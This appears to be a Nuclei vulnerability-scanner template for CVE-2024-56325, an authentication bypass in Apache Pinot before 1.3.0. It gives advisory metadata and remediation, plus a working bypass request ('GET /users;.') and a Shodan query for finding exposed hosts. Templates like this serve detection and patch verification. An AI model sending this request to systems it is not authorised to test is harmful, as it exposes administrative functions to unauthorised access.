Apache Pinot < 1.3.0 - Authentication Bypass

id: CVE-2024-56325

info:
  name: Apache Pinot < 1.3.0 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.
  impact: |
    Unauthenticated attackers can bypass authentication by injecting special characters in URIs, gaining unauthorized access to Apache Pinot administrative functions.
  remediation: |
    Update Apache Pinot to version 1.3.0 or later to address the authentication bypass vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-25-109/
    - https://github.com/advisories/GHSA-6jwp-4wvj-6597
    - https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
    - http://www.openwall.com/lists/oss-security/2025/03/27/8
  classification:
    cve-id: CVE-2024-56325
    cwe-id: CWE-288
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.78668
    epss-percentile: 0.99538
    cpe: cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:1696974531
  tags: cve,cve2024,apache,pinot,auth-bypass,vuln

http:
  - raw:
      - |
        GET /users HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 403
          - 401
        internal: true

  - raw:
      - |
        GET /users;. HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"users"'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'Pinot-Controller-'
# digest: 4a0a0047304502206f54d888245a0622e10ec4985a7c875154acde4d74cb59c8c0a237ec6350e3bb02210086cc6fd7f75f974e744f2ee3cea7d39b67087ee9756d56c9c25446b0bb976367:922c64590222798bb761d5b6d8e72950